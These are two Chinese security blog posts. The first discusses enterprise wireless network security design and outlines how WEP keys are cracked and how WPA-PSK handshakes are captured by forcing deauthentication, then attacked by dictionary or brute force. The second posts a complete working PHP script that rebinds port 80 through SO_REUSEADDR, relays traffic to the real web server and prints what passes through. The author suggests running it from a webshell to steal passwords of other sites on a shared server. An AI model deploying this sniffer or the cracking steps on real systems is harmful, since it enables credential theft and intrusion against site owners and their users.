设计这个新的方案的时候,还有一个小插曲,刚好是木桶理论的印证。有人要求给一个特定的群体所有网络的访问权限,并且给这个群体使用一个比较简单的统一的 密码。对于这样的需求,很显然,是整个设计中最薄弱的一环,也就是说实施了这个需求,其实上面的所有安全措施都是无效的。因为防线上有一个缺口,攻击者就 可以从缺口绕过整个防线,避开了堡垒对后面进行攻击。

目前来说,设计无线网络安全方案没有太多可以选择或者设计的余地,主要的只是和各部门无休止的沟通,需求很难整理清楚。这里插一句题外话,其实可以写一篇 新的文章,但是觉得不太好,就插到这里。那就是KPI的危害。太多的网络维护人员,鉴于网络稳定性在KPI中占的比重,不愿意对网络做一点点无害的改动。 只要目前的网络没有瘫痪,他们可能就不愿意去做改进了,更愿意保持现在的样子继续运行。后期安全策略的推进,真的是一个很困难的事情。安全应该在设计当初 就考虑进去,可是没有企业在创业当初就去做这方面的投入吧,毕竟安全对创业公司来说是一种投入和伤害。让步一点的说,尽可能早的考虑进去,在公司网络规模 还不是过于庞大杂乱的时候,开始部署安全策略,已经是很有远见的战略了。

上面都是安全策略方面的问题,现在略微说说攻击。攻击就拿WEP和WPA来举例,因为目前就这么几个常用的标准。WEP是最简单的安全措施,使用RC4算 法对数据加密传输,密钥就是连接网络时候输入的口令。一个固定的字符串,同时做身份认证和加密密钥使用。显然安全性是非常差的,只要攻击者抓到一定数量的 包,64位的WEP密钥,现在的普通PC大概5-10分钟就能计算出密钥,也就是网络密码来。而足够数量的WEP包,如果用户在上网下载或者看网页之类 的,大概10分钟之内就能够抓到。也就是说64位密钥的WEP,在20分钟之内就能够被破解,而128位密钥的也只是稍微好一点。

就WPA而言,个人用户常用WPA-PSK认证,而企业则一般使用WPA-EAP认证。这是因为企业可以部署Radius服务器提供认证服务,所以可以使 用EAP/802.1x认证协议。而个人用户就那么几台电脑,只能使用WPA-PSK(预共享密钥)进行认证了。WPA和WEP的区别在于,它认证口令和 数据传输加密密钥是分开的,加密密钥在认证通过后协商生成,而且在传输一定的数据包后,会重新协商生成新的密钥。因此,抓取了再多的数据包,也是不能算出 口令的,最多能够解出当前加密的密钥,得到明文数据传输。那么对WPA的口令破解只有一种方法,就是抓取到登陆时候的数据包。对于已经登陆的用户,可以通 过发送特殊的错误数据包,让AP断开该用户的连接,要求用户重新登陆,这个时候攻击者抓取到完整的认证报之后,就可以进行破解工作了。这里的破解,也只不 过是通过字典,或者暴力破解的方法来匹配抓取到的密码HASH,能否成功完全取决于密码的强度,也许只要1分钟,也许要1万年。

最后,不少人喜欢使用隐藏SSID的方法来保护无线网络安全,事实上这是很不可靠的,隐藏的SSID可以很容易的通过无线嗅探得到。

因此,WEP协议是肯定不安全的,容易破解。而WPA认证和加密都提供了足够的安全性,认证是否会被破解完全取决于密码本身的强度。宣称WPA被破解的文章,是不负责任的说法,因为相同意义上,除了一次性口令外的任何认证协议都可以使用同样的方法破解。

破解无线网络的工具,最有名的自然是BackTrack了,它是一个修改过的linux系统,一些攻击工具包的集合,攻击无线网络非常的方便,官方地址是:http://www.remote-exploit.org/backtrack.html。另外一套很全的工具包是aircrack系列,包括WEP,WPA-PSK数据包的捕获破解等多个小工具,地址为:http://www.aircrack-ng.org/。另有一个公司是http://www.wildpackets.com/,不过似乎没有免费的,都要银子。

甲方做了这么多年,攻击方面只能写到这种程度了,再详细就没意思了,而且我的兴趣也只在这个文章的前半部分。手把手的攻击,去搜索吧,大把的文章。

2008年6月10日星期二

[Tips]利用php来嗅探劫持服务器数据

by 云舒
2008-06-10
http://www.ph4nt0m.org

前几天刺在我们的maillist发了一个老外写的文章,大意是可以用php来实现数据的劫持和转发。我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。老外的原文是一个PDF,有兴趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。 其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个 guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。

需要注意的是,这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的,那个文章可以在这里找到:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。至于为什么不一样,我就不说了。

代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有多线程也没有多进程,但是 每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。还 好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。

PHP代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码:

<?php
class select
{
var $sockets;

// 构造函数
function select($sockets)
{
$this->sockets = array();

foreach($sockets as $socket)
{
$this->add($socket);
}
}

function add($add_socket)
{
//array_push($this->sockets, $add_socket);
$this->sockets[] = $add_socket;
}

// 利用临时数组来删除数组中的元素
function remove($remove_socket)
{
$tmp_sockets = array();

foreach($this->sockets as $socket)
{
if($remove_socket != $socket)
{
$tmp_sockets[] = $socket;
}
}

$this->sockets = $tmp_sockets;
}

// 检查socket数组是否可读,传入超时时间,返回socket数组
function can_read($timeout)
{
$read = $this->sockets;
socket_select(
$read, $write = NULL, $except = NULL, $timeout );
return $read;
}

// 检查socket数组是否可写,传入超时时间,返回socket数组
function can_write($timeout)
{
$write = $this->sockets;
socket_select(
$read = NULL, $write, $except = NULL, $timeout );
return $write;
}
}

// 网页不超时
set_time_limit(0);

// 即时输出数据,不缓冲
ob_end_clean();
ob_implicit_flush(true);

if( !isset($_GET["listen_ip"]) )
{
exit;
}
if( $_GET["listen_ip"] == "" )
{
exit;
}

$listen_ip = $_GET["listen_ip"];
$listen_port = 80;

// 建立socket
$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// 设置重复绑定
socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);

// 明确指定绑定IP地址,优先获取数据
socket_bind($listen_sock, $listen_ip, $listen_port);

// 开始监听
socket_listen ($listen_sock);

echo "listen on ".htmlentities($listen_ip)." :".$listen_port."<br />";

// 创建socket数组,使用select来轮询
$check_socks = array($listen_sock);

// 映射客户端socket和服务端socket
// $socket_maps1将客户端socket作为key
// $socket_maps2将服务端socket作为key
// 以内存换速度,并且方便下面的搜索

$socket_maps1 = array( );
$socket_maps2 = array( );

// 实例化select类
$select = new select( $check_socks );

while(true)
{
/*
print_r( $socket_maps );
print "<br />";
*/
// select轮询,超时2秒
foreach ($select->can_read(1) as $socket)
{
// listen_sock可读,说明有人连接上来了
if( $socket == $listen_sock )
{
// 接受新连接,并加入到轮训数组
$new_client = socket_accept($listen_sock);
$select->add($new_client);

socket_getpeername(
$new_client, $ip, $port);
echo "New client connected: $ip, $port<br />";

// 建立到真实服务器的socket
$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_connect(
$server_sock,"127.0.0.1", $listen_port);

// 建立真实服务器socket和真实客户端socket之间的映射关系
$socket_maps1[$new_client] = $server_sock;
$socket_maps2[$server_sock] = $new_client;

// 添加到select轮询中
$select->add($server_sock);

// $listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发
//select->remove( $listen_sock );

}

// 其他socket可读,表示有数据需要中转
else
{
// 读取数据,失败则从轮询socket中删除,并关闭socket
$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);
if ($client_data === false)
{
socket_close(
$socket );
$select->remove( $socket );
echo "client disconnected.<br />";

continue;
}

// 如果socket在$socket_maps1的key中,说明是从客户端读到了数据
if( in_array( $socket, array_keys($socket_maps1) ) )
{
//echo "readed from client.<br />";
if( ! socket_write( $socket_maps1[$socket], $client_data ) )
{
socket_close(
$socket );
socket_close(
$socket_maps1[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps1[$socket] );
print "Write to server error.<br />";
}
print htmlentities($client_data)."</b><br />";
}
// 否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据
elseif( in_array( $socket, array_keys($socket_maps2) ) )
{
//echo "readed from server.<br />";
if( ! socket_write( $socket_maps2[$socket], $client_data ) )
{
socket_close(
$socket );
socket_close(
$socket_maps2[$socket] );
$select->remove( $socket );
$select->remove( $socket_maps2[$socket] );
print "Write to client error.<br />";
}
print htmlentities($client_data)."</b><br />";
}
}
}
}

?>



这个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码……我是在windows xp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。